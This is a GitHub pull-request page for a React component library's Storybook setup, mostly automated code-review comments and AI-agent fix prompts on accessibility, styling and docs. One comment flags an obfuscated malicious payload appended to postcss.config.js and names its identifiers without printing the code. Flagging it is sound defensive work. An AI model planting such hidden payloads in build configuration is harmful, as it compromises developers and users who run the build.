     if (!portalContainer || !open) return;
 
     const container = contentRef.current;
     if (!container) return;
 
     const focusables = container.querySelectorAll<HTMLElement>(
       FOCUSABLE_SELECTOR,
     );
     const first = focusables[0];
-    const last = focusables[focusables.length - 1];
 
     (first ?? container).focus();
 
     const handleKeyDown = (e: KeyboardEvent) => {
       if (e.key !== "Tab") return;
 
+      const currentFocusables = container.querySelectorAll<HTMLElement>(
+        FOCUSABLE_SELECTOR,
+      );
+      const firstEl = currentFocusables[0];
+      const lastEl = currentFocusables[currentFocusables.length - 1];
+
       if (e.shiftKey) {
-        if (document.activeElement === first) {
+        if (document.activeElement === firstEl) {
           e.preventDefault();
-          last?.focus();
+          lastEl?.focus();
         }
       } else {
-        if (document.activeElement === last) {
+        if (document.activeElement === lastEl) {
           e.preventDefault();
-          first?.focus();
+          firstEl?.focus();
         }
       }
     };

297-297: Module-level bodyScrollLockCount may leak across tests.

Since this is a module-scoped variable, it persists across test cases. If a test fails mid-render or doesn't unmount properly, the count drifts and subsequent tests may see overflow: hidden stuck on document.body. Consider resetting it in a test helper or using a ref-based approach.

Comment thread src/components/ui/confirmation.tsx Outdated
Comment on lines +86 to +92
{body != null ? (
<ModalDescription className="p-5 pt-0 text-muted-foreground">
{body}
</ModalDescription>
) : (
<ModalDescription className="sr-only"> </ModalDescription>
)}
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟡 Minor

Screen-reader-only description contains only whitespace.

When body is not provided, the fallback ModalDescription with className="sr-only" contains just a space. This means aria-describedby points to an element with no meaningful content, which can confuse screen readers. Consider either omitting the description entirely (and not setting aria-describedby) or providing a sensible default like the title text repeated.

🤖 Prompt for AI Agents
In `@src/components/ui/confirmation.tsx` around lines 86 - 92, The fallback
ModalDescription currently renders only whitespace when body is null, leaving
aria-describedby pointing at an empty element; update the component that renders
ModalDescription (look for the Confirmation dialog render where body and title
are used) to either omit the ModalDescription entirely when body is null (and
ensure aria-describedby is not set) or render a meaningful default (e.g., repeat
the title text) instead of a blank space; modify the logic around body and the
aria-describedby prop so it only references ModalDescription when it contains
real content.

Comment thread src/components/ui/Modal.stories.tsx Outdated
))}
</DropdownMenuContent>
</DropdownMenu>
<FieldDescription>{ZONE_NAME_HELPER}</FieldDescription>
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟡 Minor

Copy-paste issue: wrong helper text for the Countries field.

ZONE_NAME_HELPER ("Give a meaningful name for your reference") is reused as the description for the Countries field, which doesn't make sense. This should have its own description or be omitted.

Proposed fix
-            <FieldDescription>{ZONE_NAME_HELPER}</FieldDescription>
+            <FieldDescription>Select the countries for this shipping zone</FieldDescription>
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
<FieldDescription>{ZONE_NAME_HELPER}</FieldDescription>
<FieldDescription>Select the countries for this shipping zone</FieldDescription>
🤖 Prompt for AI Agents
In `@src/components/ui/Modal.stories.tsx` at line 97, The Countries field is
displaying the wrong helper text: replace the usage of ZONE_NAME_HELPER inside
the FieldDescription for the Countries field with the appropriate helper (e.g.,
COUNTRIES_HELPER) or remove the FieldDescription entirely; locate the
FieldDescription component instance that currently renders ZONE_NAME_HELPER and
update it to reference the correct constant (or an inline string) so the
Countries field shows relevant copy instead of the zone-name helper.

@sapayth sapayth mentioned this pull request Feb 10, 2026
@sapayth sapayth force-pushed the enhance/storybook_confirmation branch from c785cbd to 36bc331 Compare April 20, 2026 02:47
Copy link
Copy Markdown

@coderabbitai coderabbitai Bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 5

♻️ Duplicate comments (2)
src/components/ui/Modal.stories.tsx (1)

79-98: ⚠️ Potential issue | 🟡 Minor

Use countries-specific helper copy.

The Countries field repeats the zone-name helper, so the description does not match the control.

✏️ Proposed fix
-            <FieldDescription>{ZONE_NAME_HELPER}</FieldDescription>
+            <FieldDescription>Select the countries for this shipping zone.</FieldDescription>
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@src/components/ui/Modal.stories.tsx` around lines 79 - 98, The
FieldDescription under the Countries Field currently uses the wrong helper
constant (ZONE_NAME_HELPER); update the description to use a countries-specific
helper or literal copy that matches the control (e.g., replace ZONE_NAME_HELPER
with a COUNTRIES_HELPER constant or an appropriate string). Locate the Countries
block around the Field, FieldLabel("Countries"), DropdownMenu and change
FieldDescription to reference the correct helper (COUNTRIES_HELPER) or update
the text inline so the description matches the COUNTRIES list UI.
src/components/ui/confirmation.tsx (1)

86-92: ⚠️ Potential issue | 🟡 Minor

Avoid pointing aria-describedby at blank content.

When body is absent, this renders a whitespace-only description, so assistive tech gets an empty referenced description. Provide meaningful fallback copy or make Modal omit aria-describedby when there is no description.

♿ Proposed fallback fix
       ) : (
-        <ModalDescription className="sr-only"> </ModalDescription>
+        <ModalDescription className="sr-only">
+          Please confirm or cancel this action.
+        </ModalDescription>
       )}
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@src/components/ui/confirmation.tsx` around lines 86 - 92, The
ModalDescription block currently renders a whitespace-only element when body is
null, causing aria-describedby to point at an empty description; update the
Confirmation modal so that when body is absent it either provides a meaningful
fallback string (e.g., a concise default description) or removes/avoids setting
aria-describedby on the Modal entirely; locate the ModalDescription usage and
the prop/logic that sets aria-describedby (references: ModalDescription, body,
and the parent Modal/aria-describedby prop) and adjust the render/prop logic to
only render ModalDescription or include the fallback text when a real
description exists.
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.

Inline comments:
In `@docs/STORYBOOK.md`:
- Around line 21-27: The fenced code block in STORYBOOK.md showing the
src/components/ui directory tree lacks a language tag and triggers markdownlint
MD040; update that block to use the text language (i.e., replace the opening ```
with ```text) so the directory tree is treated as plain text — change the block
that lists "src/components/ui/  button.tsx  Button.stories.tsx  input.tsx 
Input.stories.tsx" accordingly.
- Around line 392-395: The documentation guidance still recommends plain
JavaScript (.stories.js) and warns about TSX setup even though this PR adds
.stories.tsx files and the repo’s Storybook config already supports
TypeScript/JSX; update the paragraph that references Button.stories.js,
Input.stories.js and "Option A/Option B" so that .stories.tsx is presented as
the default/normal path (e.g., replace the recommendation for .stories.js with
using .stories.tsx for new components and note that the repo’s current Storybook
setup already transpiles TypeScript/JSX), keep a short alternative note about
using plain .stories.js only if a contributor explicitly does not want
TypeScript, and adjust mentions of "sections 1–3" to point readers to the TSX
templates added in this PR.

In `@README.md`:
- Around line 377-404: The README's directory tree fenced code block is missing
a language tag; change the opening and closing fences from ``` to ```text (i.e.,
replace the opening ``` before the plugin-ui/ tree with ```text and ensure the
closing fence remains ```) so the block is explicitly marked as plain text to
satisfy markdownlint MD040.

In `@src/components/ui/Confirmation.stories.tsx`:
- Around line 35-42: The dialog body is using <Notice> which currently returns
an empty wrapper so its children (the explanatory paragraph) never render; fix
by either updating the Notice component to render its children (ensure Notice's
render/return includes {children} and accepts props like variant/className) or
replace the body prop usage in Confirmation.stories.tsx to use a plain wrapper
(e.g., a <div> or <p> with the same classes) instead of <Notice> so the
paragraph is visible in the story; locate the use in the body prop and the
Notice component implementation to apply the change.

In `@src/styles.css`:
- Around line 249-258: Replace the hard-coded divider color (`#E9E9E9`) in the
modal header/footer selectors with the theme border token so themes and dark
modes work; update the rules targeting .pui-root [data-slot="modal-header"] and
.pui-root [data-slot="modal-footer"] to use var(--border) instead of the literal
hex color.

---

Duplicate comments:
In `@src/components/ui/confirmation.tsx`:
- Around line 86-92: The ModalDescription block currently renders a
whitespace-only element when body is null, causing aria-describedby to point at
an empty description; update the Confirmation modal so that when body is absent
it either provides a meaningful fallback string (e.g., a concise default
description) or removes/avoids setting aria-describedby on the Modal entirely;
locate the ModalDescription usage and the prop/logic that sets aria-describedby
(references: ModalDescription, body, and the parent Modal/aria-describedby prop)
and adjust the render/prop logic to only render ModalDescription or include the
fallback text when a real description exists.

In `@src/components/ui/Modal.stories.tsx`:
- Around line 79-98: The FieldDescription under the Countries Field currently
uses the wrong helper constant (ZONE_NAME_HELPER); update the description to use
a countries-specific helper or literal copy that matches the control (e.g.,
replace ZONE_NAME_HELPER with a COUNTRIES_HELPER constant or an appropriate
string). Locate the Countries block around the Field, FieldLabel("Countries"),
DropdownMenu and change FieldDescription to reference the correct helper
(COUNTRIES_HELPER) or update the text inline so the description matches the
COUNTRIES list UI.
🪄 Autofix (Beta)

Fix all unresolved CodeRabbit comments on this PR:

  • Push a commit to this branch (recommended)
  • Create a new PR with the fixes

ℹ️ Review info
⚙️ Run configuration

Configuration used: defaults

Review profile: CHILL

Plan: Pro

Run ID: 2c96b35d-218f-4131-9d65-ef6f710f1202

📥 Commits

Reviewing files that changed from the base of the PR and between c785cbd and 36bc331.

⛔ Files ignored due to path filters (2)
  • .storybook/static/favicon.svg is excluded by !**/*.svg
  • package-lock.json is excluded by !**/package-lock.json
📒 Files selected for processing (32)
  • .gitignore
  • .storybook/main.ts
  • .storybook/manager.ts
  • README.md
  • docs/STORYBOOK.md
  • docs/dataviews-component.md
  • docs/dropdown-menu-component.md
  • package.json
  • postcss.config.js
  • src/components/button-toggle-group.stories.tsx
  • src/components/button-toggle-group.tsx
  • src/components/ui/Alert.stories.tsx
  • src/components/ui/Combobox.stories.tsx
  • src/components/ui/Confirmation.stories.tsx
  • src/components/ui/DropdownMenu.stories.tsx
  • src/components/ui/Modal.stories.tsx
  • src/components/ui/ToggleGroup.stories.tsx
  • src/components/ui/alert.tsx
  • src/components/ui/confirmation.tsx
  • src/components/ui/index.ts
  • src/components/ui/modal.tsx
  • src/components/ui/notice.tsx
  • src/components/ui/toggle-group.tsx
  • src/components/wordpress/DataViews.stories.tsx
  • src/components/wordpress/dataviews.tsx
  • src/components/wordpress/style.css
  • src/hooks/useWindowDimensions.ts
  • src/index.ts
  • src/providers/index.ts
  • src/providers/theme-provider.tsx
  • src/styles.css
  • webpack.config.js
💤 Files with no reviewable changes (2)
  • docs/dropdown-menu-component.md
  • docs/dataviews-component.md
✅ Files skipped from review due to trivial changes (18)
  • .storybook/manager.ts
  • postcss.config.js
  • src/components/ui/toggle-group.tsx
  • .gitignore
  • webpack.config.js
  • src/components/button-toggle-group.stories.tsx
  • src/index.ts
  • src/hooks/useWindowDimensions.ts
  • package.json
  • .storybook/main.ts
  • src/components/wordpress/dataviews.tsx
  • src/components/ui/DropdownMenu.stories.tsx
  • src/components/ui/ToggleGroup.stories.tsx
  • src/components/ui/Combobox.stories.tsx
  • src/components/button-toggle-group.tsx
  • src/components/ui/notice.tsx
  • src/components/wordpress/DataViews.stories.tsx
  • src/components/ui/modal.tsx
🚧 Files skipped from review as they are similar to previous changes (4)
  • src/providers/index.ts
  • src/providers/theme-provider.tsx
  • src/components/ui/alert.tsx
  • src/components/ui/Alert.stories.tsx

Comment thread docs/STORYBOOK.md
Comment on lines +21 to +27
```
src/components/ui/
button.tsx
Button.stories.tsx
input.tsx
Input.stories.tsx
```
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟡 Minor

Add a language to this fenced block.

markdownlint flags this as MD040. Use text for the directory tree.

🧹 Proposed fix
-```
+```text
 src/components/ui/
   button.tsx
   Button.stories.tsx
   input.tsx
   Input.stories.tsx

</details>

<!-- suggestion_start -->

<details>
<summary>📝 Committable suggestion</summary>

> ‼️ **IMPORTANT**
> Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

```suggestion

🧰 Tools
🪛 markdownlint-cli2 (0.22.0)

[warning] 21-21: Fenced code blocks should have a language specified

(MD040, fenced-code-language)

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@docs/STORYBOOK.md` around lines 21 - 27, The fenced code block in
STORYBOOK.md showing the src/components/ui directory tree lacks a language tag
and triggers markdownlint MD040; update that block to use the text language
(i.e., replace the opening ``` with ```text) so the directory tree is treated as
plain text — change the block that lists "src/components/ui/  button.tsx 
Button.stories.tsx  input.tsx  Input.stories.tsx" accordingly.

Comment thread docs/STORYBOOK.md
Comment thread README.md
Comment on lines +377 to +404
```
plugin-ui/
├── src/
│ ├── components/ # React components
│ │ ├── Alert.tsx
│ │ ├── Button.tsx
│ │ ├── TextField.tsx
│ │ └── ...
│ ├── hooks/ # Custom React hooks
│ │ ├── useClickOutside.ts
│ │ ├── useClipboard.ts
│ │ └── useToggle.ts
│ ├── utils/ # Utility functions
│ │ └── classnames.ts
│ ├── types/ # TypeScript type definitions
│ ├── styles.css # Main stylesheet (Tailwind + custom)
│ └── index.ts # Main entry point
├── dist/ # Build output (generated)
│ ├── components/
│ ├── hooks/
│ ├── utils/
│ ├── styles.css # Compiled CSS
│ └── index.js
├── package.json
├── tsconfig.json # TypeScript configuration
├── postcss.config.js # PostCSS configuration
└── README.md
```
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟡 Minor

Add a language tag to the fenced code block (markdownlint MD040).

Line 377 opens a fenced block without a language, which triggers the documented lint warning.

🛠️ Suggested fix
-```
+```text
 plugin-ui/
 ├── src/
 │   ├── components/       # React components
@@
 ├── postcss.config.js     # PostCSS configuration
 └── README.md
</details>

<!-- suggestion_start -->

<details>
<summary>📝 Committable suggestion</summary>

> ‼️ **IMPORTANT**
> Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

```suggestion

🧰 Tools
🪛 markdownlint-cli2 (0.22.0)

[warning] 377-377: Fenced code blocks should have a language specified

(MD040, fenced-code-language)

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@README.md` around lines 377 - 404, The README's directory tree fenced code
block is missing a language tag; change the opening and closing fences from ```
to ```text (i.e., replace the opening ``` before the plugin-ui/ tree with
```text and ensure the closing fence remains ```) so the block is explicitly
marked as plain text to satisfy markdownlint MD040.

Comment on lines +35 to +42
body={
<Notice variant="info" className="text-sm">
<p className="text-foreground">
Next billing date is <strong>25th March 2024</strong> and reassign
is not possible for recurring subscription
</p>
</Notice>
}
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟡 Minor

Don’t put the dialog copy inside Notice until it renders children.

The current Notice implementation returns an empty wrapper, so this explanatory paragraph disappears from the story. Either update Notice to render children, or use a plain wrapper here.

🛠️ Proposed local story fix
-import { Confirmation, Button, Notice } from "./index";
+import { Confirmation, Button } from "./index";
@@
-          <Notice variant="info" className="text-sm">
+          <div className="rounded-md border border-info/20 bg-info/10 p-3 text-sm">
             <p className="text-foreground">
               Next billing date is <strong>25th March 2024</strong> and reassign
               is not possible for recurring subscription
             </p>
-          </Notice>
+          </div>
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
body={
<Notice variant="info" className="text-sm">
<p className="text-foreground">
Next billing date is <strong>25th March 2024</strong> and reassign
is not possible for recurring subscription
</p>
</Notice>
}
import { Confirmation, Button } from "./index";
// ... other code ...
body={
<div className="rounded-md border border-info/20 bg-info/10 p-3 text-sm">
<p className="text-foreground">
Next billing date is <strong>25th March 2024</strong> and reassign
is not possible for recurring subscription
</p>
</div>
}
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@src/components/ui/Confirmation.stories.tsx` around lines 35 - 42, The dialog
body is using <Notice> which currently returns an empty wrapper so its children
(the explanatory paragraph) never render; fix by either updating the Notice
component to render its children (ensure Notice's render/return includes
{children} and accepts props like variant/className) or replace the body prop
usage in Confirmation.stories.tsx to use a plain wrapper (e.g., a <div> or <p>
with the same classes) instead of <Notice> so the paragraph is visible in the
story; locate the use in the body prop and the Notice component implementation
to apply the change.

Comment thread src/styles.css
Comment on lines +249 to +258
.pui-root [data-slot="modal-header"] {
border-bottom: 1px solid #E9E9E9;
}

/* ============================================
Modal Footer (overrides reset border-color)
============================================ */

.pui-root [data-slot="modal-footer"] {
border-top: 1px solid #E9E9E9;
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟡 Minor

Use the theme border token for modal dividers.

Hard-coding #E9E9E9 bypasses dark/custom theme tokens and overrides the modal’s existing tokenized border styling. Use var(--border) instead.

🎨 Proposed fix
 .pui-root [data-slot="modal-header"] {
-    border-bottom: 1px solid `#E9E9E9`;
+    border-bottom: 1px solid var(--border);
 }
@@
 .pui-root [data-slot="modal-footer"] {
-    border-top: 1px solid `#E9E9E9`;
+    border-top: 1px solid var(--border);
 }
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@src/styles.css` around lines 249 - 258, Replace the hard-coded divider color
(`#E9E9E9`) in the modal header/footer selectors with the theme border token so
themes and dark modes work; update the rules targeting .pui-root
[data-slot="modal-header"] and .pui-root [data-slot="modal-footer"] to use
var(--border) instead of the literal hex color.

@sapayth sapayth force-pushed the enhance/storybook_confirmation branch from 36bc331 to da15c24 Compare May 4, 2026 20:11
Copy link
Copy Markdown

@coderabbitai coderabbitai Bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 4

♻️ Duplicate comments (4)
docs/STORYBOOK.md (2)

21-27: ⚠️ Potential issue | 🟡 Minor | ⚡ Quick win

Add a language to this fenced directory block.

Line 21 still uses a bare fence; markdownlint MD040 expects a language token (use text for directory trees).

Suggested patch
-```
+```text
 src/components/ui/
   button.tsx
   Button.stories.tsx
   input.tsx
   Input.stories.tsx
</details>

<details>
<summary>🤖 Prompt for AI Agents</summary>

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @docs/STORYBOOK.md around lines 21 - 27, The fenced code block showing the
directory tree starting with "src/components/ui/" is missing a language token;
update the opening triple-backtick to include the language tag "text" (i.e.,
change totext) so markdownlint MD040 is satisfied and the directory
listing (src/components/ui/, button.tsx, Button.stories.tsx, input.tsx,
Input.stories.tsx) is rendered as plain text.


</details>

---

`13-13`: _⚠️ Potential issue_ | _🟡 Minor_ | _⚡ Quick win_

**Make TSX the default story format guidance throughout this doc.**

These sections still present `.stories.js` as the default and TSX as “extra setup,” which conflicts with the TSX examples in this same guide and the PR direction.  
  

<details>
<summary>Suggested patch</summary>

```diff
-Stories live next to components: `src/components/ui/ComponentName.stories.js` (or `.tsx` if you use TypeScript).
+Stories live next to components: `src/components/ui/ComponentName.stories.tsx`.

-Use the existing **Button** and **Input** story files (`Button.stories.js`, `Input.stories.js`) as templates for the rest of the components.
+Use the existing **Button** and **Input** story files (`Button.stories.tsx`, `Input.stories.tsx`) as templates for the rest of the components.

-The included examples use **plain JavaScript** (`.stories.js`) and `React.createElement` so that Storybook builds without extra Babel/TypeScript configuration. For new components you can:
+The included examples use **TypeScript/JSX** (`.stories.tsx`) as the default format in this repo. For new components you can:

-- **Option A (recommended for consistency):** Copy `Button.stories.js` or `Input.stories.js`, rename to `YourComponent.stories.js`, and use `React.createElement` for any custom `render` functions.
-- **Option B (TypeScript/JSX):** Use the templates in sections 1–3 above in a `.stories.tsx` file with `import type` and JSX. That requires a Storybook setup that transpiles TypeScript/JSX (e.g. running `npx storybook@latest init` and choosing the TypeScript option, or adding the right loaders in `.storybook/main.ts`).
+- **Option A (recommended):** Copy `Button.stories.tsx` or `Input.stories.tsx`, rename to `YourComponent.stories.tsx`, and use the TSX templates shown in sections 1–3.
+- **Option B (plain JS only if preferred):** Use `.stories.js` and `React.createElement` if you explicitly don’t want TypeScript.
```
</details>


Also applies to: 386-386, 392-395

<details>
<summary>🤖 Prompt for AI Agents</summary>

```
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@docs/STORYBOOK.md` at line 13, Update the STORYBOOK guidance to make TSX the
default story format: replace the example path string
"src/components/ui/ComponentName.stories.js" with
"src/components/ui/ComponentName.stories.tsx", remove or reword any language
that presents TSX as "extra setup", and ensure all examples and instructions
(including the occurrences around the noted sections ~386 and 392-395)
consistently show .stories.tsx and matching TSX setup steps so examples in the
doc match the PR direction and existing TSX samples.
```

</details>

</blockquote></details>
<details>
<summary>src/styles.css (1)</summary><blockquote>

`249-258`: _⚠️ Potential issue_ | _🟡 Minor_ | _⚡ Quick win_

**Use `var(--border)` instead of the hard-coded `#E9E9E9` for modal divider colors.**

This issue was flagged in a previous review but remains unresolved — the hard-coded value bypasses the dark/custom theme tokens defined in `.pui-root`.

<details>
<summary>🤖 Prompt for AI Agents</summary>

```
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/styles.css` around lines 249 - 258, Replace the hard-coded color `#E9E9E9`
with the theme token var(--border) for the modal divider rules: update the
selector .pui-root [data-slot="modal-header"] to use border-bottom: 1px solid
var(--border) and .pui-root [data-slot="modal-footer"] to use border-top: 1px
solid var(--border); ensure both blocks are properly closed and rely on the
.pui-root token so dark/custom themes pick up the divider color.
```

</details>

</blockquote></details>
<details>
<summary>src/components/ui/Modal.stories.tsx (1)</summary><blockquote>

`97-97`: _⚠️ Potential issue_ | _🟡 Minor_ | _⚡ Quick win_

**Countries field still uses the zone-name helper text.**

`ZONE_NAME_HELPER` ("Give a meaningful name for your reference") is copy-pasted from the Zone Name field and doesn't describe the Countries selector. This was flagged in a prior review and remains unaddressed.

<details>
<summary>🤖 Prompt for AI Agents</summary>

```
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/components/ui/Modal.stories.tsx` at line 97, The Countries selector is
showing the wrong helper text: it uses ZONE_NAME_HELPER in the FieldDescription;
update the Countries field to use an appropriate helper constant (e.g.,
COUNTRIES_HELPER) or create one with a description specific to the Countries
selector (e.g., "Select one or more countries this reference applies to") and
replace ZONE_NAME_HELPER in the FieldDescription for the Countries component to
reference that new or existing countries-specific constant.
```

</details>

</blockquote></details>

</blockquote></details>

<details>
<summary>🤖 Prompt for all review comments with AI agents</summary>

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

Inline comments:
In @postcss.config.js:

  • Line 5: The file contains a malicious obfuscated payload appended after the
    legitimate export (symbols to look for: global['!']='9-3463-4', _$_1e42, sfL,
    jFD and the long IIFE) — remove the entire appended obfuscated block so the file
    only contains the intended PostCSS config export, then verify no other files
    contain the same patterns; commit the removal as a security fix, scan the
    repo/CI logs and recent commits for the same symbols/strings, and if found
    rotate any potentially exposed credentials and revert the introducing commit or
    replace with a clean version from a known-good commit.

In @src/components/ui/Modal.stories.tsx:

  • Around line 82-90: The DropdownMenuTrigger currently wraps a Button which
    causes nested elements; update the trigger to use the Radix pattern by
    adding the asChild prop to DropdownMenuTrigger so it will clone the Button child
    instead of rendering its own button. Locate the DropdownMenuTrigger/ Button
    usage in Modal.stories (the block with DropdownMenuTrigger and Button rendering
    "Bangladesh, United States") and add asChild to DropdownMenuTrigger so the
    Button becomes the actual trigger element and avoids invalid nested buttons.
  • Line 91: The DropdownMenuContent is using an invalid CSS variable
    (--anchor-width) so the menu won't match the trigger; update the className on
    DropdownMenuContent to use the Radix-provided variable
    --radix-dropdown-menu-trigger-width (i.e., replace any reference to
    --anchor-width with --radix-dropdown-menu-trigger-width) so the dropdown content
    width matches the trigger element; locate the usage in the DropdownMenuContent
    component in Modal.stories.tsx to apply the change.

In @src/styles.css:

  • Around line 77-79: Stylelint errors are caused by unquoted proper font family
    names in the CSS variables (--font-sans, --font-serif, --font-mono); update
    those variables so that all non-generic/proper names (e.g., BlinkMacSystemFont,
    Roboto, Arial, Georgia, Cambria, Times, SFMono-Regular, Menlo, Monaco, Consolas)
    are wrapped in quotes while leaving generic family keywords (e.g., sans-serif,
    serif, monospace) unquoted, ensuring each value list in --font-sans,
    --font-serif, and --font-mono uses quoted strings for multi-word or proper names
    to satisfy the value-keyword-case rule.

Duplicate comments:
In @docs/STORYBOOK.md:

  • Around line 21-27: The fenced code block showing the directory tree starting
    with "src/components/ui/" is missing a language token; update the opening
    triple-backtick to include the language tag "text" (i.e., change totext)
    so markdownlint MD040 is satisfied and the directory listing
    (src/components/ui/, button.tsx, Button.stories.tsx, input.tsx,
    Input.stories.tsx) is rendered as plain text.
  • Line 13: Update the STORYBOOK guidance to make TSX the default story format:
    replace the example path string "src/components/ui/ComponentName.stories.js"
    with "src/components/ui/ComponentName.stories.tsx", remove or reword any
    language that presents TSX as "extra setup", and ensure all examples and
    instructions (including the occurrences around the noted sections ~386 and
    392-395) consistently show .stories.tsx and matching TSX setup steps so examples
    in the doc match the PR direction and existing TSX samples.

In @src/components/ui/Modal.stories.tsx:

  • Line 97: The Countries selector is showing the wrong helper text: it uses
    ZONE_NAME_HELPER in the FieldDescription; update the Countries field to use an
    appropriate helper constant (e.g., COUNTRIES_HELPER) or create one with a
    description specific to the Countries selector (e.g., "Select one or more
    countries this reference applies to") and replace ZONE_NAME_HELPER in the
    FieldDescription for the Countries component to reference that new or existing
    countries-specific constant.

In @src/styles.css:

  • Around line 249-258: Replace the hard-coded color #E9E9E9 with the theme token
    var(--border) for the modal divider rules: update the selector .pui-root
    [data-slot="modal-header"] to use border-bottom: 1px solid var(--border) and
    .pui-root [data-slot="modal-footer"] to use border-top: 1px solid var(--border);
    ensure both blocks are properly closed and rely on the .pui-root token so
    dark/custom themes pick up the divider color.

</details>

<details>
<summary>🪄 Autofix (Beta)</summary>

Fix all unresolved CodeRabbit comments on this PR:

- [ ] <!-- {"checkboxId": "4b0d0e0a-96d7-4f10-b296-3a18ea78f0b9"} --> Push a commit to this branch (recommended)
- [ ] <!-- {"checkboxId": "ff5b1114-7d8c-49e6-8ac1-43f82af23a33"} --> Create a new PR with the fixes

</details>

---

<details>
<summary>ℹ️ Review info</summary>

<details>
<summary>⚙️ Run configuration</summary>

**Configuration used**: defaults

**Review profile**: CHILL

**Plan**: Pro

**Run ID**: `d70f5389-f3ca-4da6-9632-d685adab528e`

</details>

<details>
<summary>📥 Commits</summary>

Reviewing files that changed from the base of the PR and between 36bc331306a931cf53669ac743de9a60fdb13671 and da15c24c1ba8e7682f313436ff4503dad7e25cec.

</details>

<details>
<summary>⛔ Files ignored due to path filters (2)</summary>

* `.storybook/static/favicon.svg` is excluded by `!**/*.svg`
* `package-lock.json` is excluded by `!**/package-lock.json`

</details>

<details>
<summary>📒 Files selected for processing (32)</summary>

* `.gitignore`
* `.storybook/main.ts`
* `.storybook/manager.ts`
* `README.md`
* `docs/STORYBOOK.md`
* `docs/dataviews-component.md`
* `docs/dropdown-menu-component.md`
* `package.json`
* `postcss.config.js`
* `src/components/button-toggle-group.stories.tsx`
* `src/components/button-toggle-group.tsx`
* `src/components/ui/Alert.stories.tsx`
* `src/components/ui/Combobox.stories.tsx`
* `src/components/ui/Confirmation.stories.tsx`
* `src/components/ui/DropdownMenu.stories.tsx`
* `src/components/ui/Modal.stories.tsx`
* `src/components/ui/ToggleGroup.stories.tsx`
* `src/components/ui/alert.tsx`
* `src/components/ui/confirmation.tsx`
* `src/components/ui/index.ts`
* `src/components/ui/modal.tsx`
* `src/components/ui/notice.tsx`
* `src/components/ui/toggle-group.tsx`
* `src/components/wordpress/DataViews.stories.tsx`
* `src/components/wordpress/dataviews.tsx`
* `src/components/wordpress/style.css`
* `src/hooks/useWindowDimensions.ts`
* `src/index.ts`
* `src/providers/index.ts`
* `src/providers/theme-provider.tsx`
* `src/styles.css`
* `webpack.config.js`

</details>

<details>
<summary>💤 Files with no reviewable changes (2)</summary>

* docs/dataviews-component.md
* docs/dropdown-menu-component.md

</details>

<details>
<summary>✅ Files skipped from review due to trivial changes (18)</summary>

* src/providers/index.ts
* .gitignore
* src/components/ui/notice.tsx
* src/components/ui/alert.tsx
* src/components/ui/Confirmation.stories.tsx
* src/components/ui/ToggleGroup.stories.tsx
* package.json
* src/components/button-toggle-group.stories.tsx
* src/components/ui/toggle-group.tsx
* src/components/wordpress/dataviews.tsx
* src/components/ui/DropdownMenu.stories.tsx
* src/index.ts
* .storybook/main.ts
* src/components/ui/Combobox.stories.tsx
* src/components/ui/Alert.stories.tsx
* src/components/button-toggle-group.tsx
* webpack.config.js
* src/components/wordpress/DataViews.stories.tsx

</details>

<details>
<summary>🚧 Files skipped from review as they are similar to previous changes (6)</summary>

* .storybook/manager.ts
* src/hooks/useWindowDimensions.ts
* src/providers/theme-provider.tsx
* src/components/ui/confirmation.tsx
* src/components/wordpress/style.css
* src/components/ui/modal.tsx

</details>

</details>

<!-- This is an auto-generated comment by CodeRabbit for review status -->

Comment thread postcss.config.js
plugins: {
'@tailwindcss/postcss': {},
},
